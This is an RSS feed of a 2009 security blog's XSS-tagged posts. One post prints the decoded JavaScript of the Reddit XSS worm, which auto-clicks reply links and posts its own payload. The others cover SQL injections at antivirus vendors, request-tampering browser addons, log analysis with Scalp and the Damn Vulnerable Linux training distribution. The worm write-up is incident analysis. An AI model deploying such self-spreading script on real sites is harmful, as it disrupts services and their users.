<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; XSS</title>
	<atom:link href="http://insanesecurity.info/blog/tag/xss/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Reddit worm, oh boy&#8230;</title>
		<link>http://insanesecurity.info/blog/reddit-worm-oh-my</link>
		<comments>http://insanesecurity.info/blog/reddit-worm-oh-my#comments</comments>
		<pubDate>Mon, 28 Sep 2009 04:03:42 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=264</guid>
		<description><![CDATA[As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>As I am writing this a javascript worm is having fun spreading on reddit. For one part we should be happy it only spreads and does not do anything else (you now, like cookie theft). On the other hand, it may be an attempt to DDoS reddit, because I&#8217;m suddenly starting to get error pages&#8230;<br />
<code><br />
An error occurred while processing your request.<br />
Reference #97.27c37259.1254106488.35b1d0e<br />
</code></p>
<p>The (decoded) code of the worm is the following:</p>
<pre>
// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i&lt;e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i&lt;e.length;i++)
    if(e[i].innerHTML=='save'&#038;&#038;e[i].style.display!='none')
        $(e[i]).click();
</pre>
<p>In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I&#8217;d be more than happy.</p>
<p>If not, we&#8217;ll have an unsolved mystery :)</p>
<p><strong>UPDATE</strong>: worm author has happily <a href="http://www.reddit.com/r/IAmA/comments/9ox75/i_found_and_wrote_the_exploit_which_crashed/c0dqwzs">shared its way of evading the filter</a>.</p>
<p><strong>UPDATE 2</strong>: <a href="http://blog.reddit.com/2009/09/we-had-some-bugs-and-it-hurt-us.html">post about the bug on the reddit blog</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/reddit-worm-oh-my/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Should I Trust You?</title>
		<link>http://insanesecurity.info/blog/should-i-trust-you</link>
		<comments>http://insanesecurity.info/blog/should-i-trust-you#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:18:00 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Discussion]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/should-i-trust-you</guid>
		<description><![CDATA[I think that everyone has heard of the recent &#8220;hacking series&#8221; against major antivirus companies. After the recent SQL injections in Kaspersky, BitDefender (here and here) and F-Secure the regular user might wonder in which company should they still trust. The anwser isn&#8217;t that simple. Based on the amount of data that could have been [...]]]></description>
			<content:encoded><![CDATA[<p>I think that everyone has heard of the recent &#8220;hacking series&#8221; against major antivirus companies. After the recent SQL injections in <a href="http://hackersblog.org/2009/02/07/usakasperskycom-hacked-full-database-acces-sql-injection/">Kaspersky</a>, BitDefender (<a href="http://hackersblog.org/2009/02/09/hackedbitdefender-portugal-exposes-sensitive-customer-data/">here </a>and <a href="http://hackersblog.org/2009/02/15/in-atentia-bitdefender/">here</a>) and <a href="http://hackersblog.org/2009/02/11/f-securecom-sql-injection-cross-site-scripting/">F-Secure</a> the regular user might wonder in which company should they still trust.</p>
<p><span id="more-46"></span><br />
The anwser isn&#8217;t that simple. Based on the amount of data that could have been leached from the websites (mentioned above) F-Secure looks the trust worthiest. Why F-Secure? Because given their defense-in-depth methodology no sensitive data could have been retrieved, just ordinary data that you may see on other several public pages.</p>
<p>As from any other attack scenario, there is something to be learned. In this case F-Secure and their methodology gave us the lesson. You should never, and I repet never, grant access to important data to a user which interacts with a visitor (in this case, a mysql database user). You will lower the threat by creating different users for different tasks.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>Also, I won&#8217;t go in complaining about the SQL injections, even if I should, because it&#8217;s nothing uncommon. When you have a team of developers which constantly add/remove components and which haven&#8217;t got a secure coding methodology (some might sanitize the data on request, others before the usage) SQL injection vulnerabilities (XSS vulnerabilities) will iminently pop up. I said I won&#8217;t complain about the vulnerability, but given the fact that they are in the security industry (and not some unknown players) you would expect more&#8230;</p>
<p>Another &#8220;debate&#8221; I&#8217;ve seen was based on <a href="http://www.acunetix.com/blog/web-security-articles/sql-injection-sneaks-into-kasperskys-support-website/">Acunetix article</a> which mentioned that <strong>Unu</strong> found the vulnerability in Kaspersky&#8217;s website via their scanner. Even if true, we all know that Acunetix Scanner isn&#8217;t always enough to catch all the vulnerabilities (as <strong>Unu </strong>declared also), and no such scanner can. People generally use Acunetix Scanner for a quick and dirty PRELIMINARY scan.</p>
<p>Enough said.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/should-i-trust-you/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intercepting Proxies?</title>
		<link>http://insanesecurity.info/blog/intercepting-proxies</link>
		<comments>http://insanesecurity.info/blog/intercepting-proxies#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:12:53 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/intercepting-proxies</guid>
		<description><![CDATA[People tend to overdo things&#8230; And somewhere (not sure were) I&#8217;ve read an article (or better call it tutorial) where for simple modifications of parameter/header values the author suggested an intercepting proxy like: WebScarab, BurpProxy, ParosProxy, ProxyStrike, etc. Yes they&#8217;re up to the job, but aren&#8217;t there some simpler solutions? Yes there are, and those [...]]]></description>
			<content:encoded><![CDATA[<p>People tend to overdo things&#8230; And somewhere (not sure were) I&#8217;ve read an article (or better call it tutorial) where for simple modifications of parameter/header values the author suggested an intercepting proxy like: WebScarab, BurpProxy, ParosProxy, ProxyStrike, etc. Yes they&#8217;re up to the job, but aren&#8217;t there some simpler solutions? Yes there are, and those solutions will be presented in the following lines&#8230;</p>
<p><span id="more-43"></span><br />
And if you weren&#8217;t sure till know, I assure you I&#8217;m going to speak about Firefox Addons.</p>
<h2>LiveHTTPHeaders</h2>
<p>Useful addon for both developers and hackers. It let&#8217;s you analyze the HTTP requests and responses done at/from a specified point. It also allows you to modify the requests as you want, from parameters to HTTP headers, anything is possible.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>For those that use intercepting proxies in passive mode, for grabbing links while browsing, which later will be passed to some web application scanner (or something like that), guess what: <em>liveHTTPHeaders</em> supports that also.</p>
<p>Download: <a href="https://addons.mozilla.org/en-US/firefox/addon/3829" target="_blank">liveHTTPHeaders</a></p>
<h2>Tamper Data</h2>
<p>On several occasions you may want to modify/forge requests in the first submission of a page/form. For that reason <em>Tamper Data</em> is another addon that shouldn&#8217;t miss from your toolbox. The functionality I mentioned is just the tip of the iceberg regarding <em>Tamper Data</em>.</p>
<p>Screenshots and download: <a href="https://addons.mozilla.org/en-US/firefox/addon/966" target="_blank">Tamper Data</a></p>
<h2>HackBar</h2>
<p>But what if you don&#8217;t need to modify headers, just the content or parameters? Should use <em>Tamper Data</em> just for that?<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>The answer is obviously NO! Just press F9 (<em>HackBar</em> shortcut key) and you&#8217;re ready to tamper/forge requests as you wish. It&#8217;s a great addon not just because it eases work with long URLs, but also has the ability to send POST requests for you, thus relieving you from having another window/tab for executing forged POST requests. Did I also mentioned how helpful it can be when working with SQL Injections? No?! I wonder how could I omit that?&#8230;</p>
<p>Screenshots and download: <a href="https://addons.mozilla.org/en-US/firefox/addon/3899" target="_blank">HackBar</a></p>
<h2>Final notes</h2>
<p>In the end it&#8217;s up to you to decide how you&#8217;ll do from this point onward. Either work with the suggested plugins, or continue your ritual with intercepting proxies. There is no good/bad way of doing it, it&#8217;s just a matter of taste. Some people (including myself) like to do as much possible from the browser before firing up another application&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/intercepting-proxies/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Access Log Analysis</title>
		<link>http://insanesecurity.info/blog/access-log-analysis</link>
		<comments>http://insanesecurity.info/blog/access-log-analysis#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:02:37 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[RFI]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=33</guid>
		<description><![CDATA[A while ago I wrote an article entitled Logging the HTTP requests! where I mentioned why you should implement a logging system (especially when you haven&#8217;t got access to the access log, like in shared hosting environment) and how to implement a simple (or not) logging system. Today we will go a step further. Maybe [...]]]></description>
			<content:encoded><![CDATA[<p>A while ago I wrote an article entitled  <a href="http://insanesecurity.info/2009/01/logging-the-http-requests/">Logging the HTTP requests!</a> where I mentioned why you should implement a logging system (especially when you haven&#8217;t got access to the access log, like in shared hosting environment) and how to implement a simple (or not) logging system. Today we will go a step further.</p>
<p><span id="more-33"></span><br />
Maybe not exactly a full step, but you will understand later on why not.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>In the ending of the article I mentioned that there is a wordpress plugin that does just that, it is called access log (duh) and you can download it from <a href="http://wordpress.org/extend/plugins/access-logs/">here</a>. After installing the plugin and configuring it you may also want to decode the REQUEST_URI because that will help later on for analysis. Just add the <a href="http://php.net/rawurldecode">rawurldecode</a> function to the code:</p>
<p>
<pre>
$href = rawurldecode($_SERVER['REQUEST_URI']);
</pre>
<p>Another important step after installing/configuring the plugin would be to protect the log directory from unwanted visitors. I use a simple .htaccess file to accomplish the task. The following example denotes the rewrite rule I use:</p>
<pre>
RewriteRule ^(.*)$ http://insanesecurity.info [R=301,L]
</pre>
</p>
<p>If you&#8217;re a stranger towards .htaccess files you might be interested in, a short resource based article I wrote, <a href="http://insanesecurity.info/2009/03/htaccess-101/">.htaccess 101</a>.</p>
<p>After a while of log harvesting you might be interested in analyzing the logs and find potential intruders/attackers. That&#8217;s when <a href="http://code.google.com/p/apache-scalp/">Scalp</a> comes in.</p>
<blockquote><p>Scalp! is a log analyzer for the Apache web server that aims to look for security problems. The main idea is to look through huge log files and extract the possible attacks that have been sent through HTTP/GET (By default, Apache does not log the HTTP/POST variable).</p>
</blockquote>
<p>And this is the reason why we take a partial step, because it doesn&#8217;t support custom access log files, thus we cannot analyze POST requests. But let&#8217;s give <a href="http://rgaucher.info/b/">Romain</a> some time, as he&#8217;s working on a improved C++ version of it, which hopefully will have this feature. </p>
<p>Among Scalps features (options) are the following:</p>
<ul>
<li>tough: Will decode a part of potential attacks (this is done to use better the regexp from PHP-IDS in order to decrease the false-negative rate)</li>
<li>period: Specify a time-frame to look at, all the rest will be ignored </li>
<li>sample: Does a random sampling of the log lines in order to look at a certain percentage, this is useful when the user doesn&#8217;t want to do a full scan of all the log, but just ping it to see if there is some problem&#8230; </li>
<li>attack: Specify what classes of vulnerabilities the tool will look at (eg, look only for XSS, SQL Injection, etc.) </li>
</ul>
<p>The things that Scalp can find are: XSS, CSRF, SQL Injection, LFI, RFE (or RFI as some call it), DOS, Directory Transversal, Spam and Information Disclosure.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>For more information you can visit the start page of the project <a href="http://code.google.com/p/apache-scalp/">here</a>, or just go to the download section <a href="http://code.google.com/p/apache-scalp/downloads/list">here</a>. Almost forgot to mention, Scalp is a python script.</p>
<p>Not done just yet, Scalp works with <a href="http://php-ids.org/">PHP-IDS</a>&#8217;s filters, so you&#8217;ll have to download the filter (xml) file from their website to get things working.</p>
<p>Enough said, hopefully Scalp will help you in preventing attackers, rather than helping you in attack forensics.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/access-log-analysis/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DVL 1.5 (Infectious Disease)</title>
		<link>http://insanesecurity.info/blog/dvl-15-infectious-disease</link>
		<comments>http://insanesecurity.info/blog/dvl-15-infectious-disease#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:57:47 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=30</guid>
		<description><![CDATA[Today DamnVulnerableLinux version 1.5 was released, linux distribution that offers a learning environment directly out of the box. If there is a phrase that describes in the best way the distribution, it has to be the one from LinuxTracker: Damn Vulnerable Linux (DVL) is everything a good Linux distribution isn&#8217;t. Its developers have spent hours [...]]]></description>
			<content:encoded><![CDATA[<p>Today <a href="http://www.damnvulnerablelinux.org/">DamnVulnerableLinux</a> version 1.5 was released, linux distribution that offers a learning environment directly out of the box.</p>
<p><span id="more-30"></span><br />
If there is a phrase that describes in the best way the distribution, it has to be the one from <a href="http://linuxtracker.org">LinuxTracker</a>:</p>
<blockquote><p>
Damn Vulnerable Linux (DVL) is everything a good Linux distribution isn&#8217;t. Its developers have spent hours stuffing it with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks. DVL isn&#8217;t built to run on your desktop &#8212; it&#8217;s a learning tool for security students.
</p>
</blockquote>
<p>To be honest I didn&#8217;t play with it till now (even if have been a user of the website for a year or so) because off limited free time that I&#8217;ve got. But in the near future (hope so) I will give it a shot, you know demonstrate my &#8220;talents&#8221; to my work colleague, maybe even do a video to help out DVL.</p>
<p>More specific info about included vulnerabilities/tools you can find on <a href="http://www.damnvulnerablelinux.org/index.php/eng/Damn%20Vulnerable%20Linux%20Distro/Damn%20Vulnerable%20Linux/Release%20Notes%20for%20Damn%20Vulnerable%20Linux%20(up%20to%20release%201.4)">this page</a>, but just up to version 1.4, and the download mirrors can be found <a href="http://www.damnvulnerablelinux.org/index.php/eng/Damn%20Vulnerable%20Linux%20Distro/Damn%20Vulnerable%20Linux/Download%20Mirrors%20and%20Torrent%20for%20Damn%20Vulnerable%20Linux%201.5%20(Infectious%20Disease)">here</a>.</p>
<p>If this is an unknown domain for you (security) I would recommend you firstly to start out with some basics before even taking a glimpse at DVL. In such a case you might be interested in David Melnichuk book <a href="http://insanesecurity.info/2009/01/the-hackers-underground-handbook-review/">The Hacker&#8217;s Underground Handbook</a>.</p>
<p>Before I forget&#8230; You would highly be appreciated for seeding the torrent, not just leeching it, because the free stuff never gets seeded well, IMO.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/dvl-15-infectious-disease/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
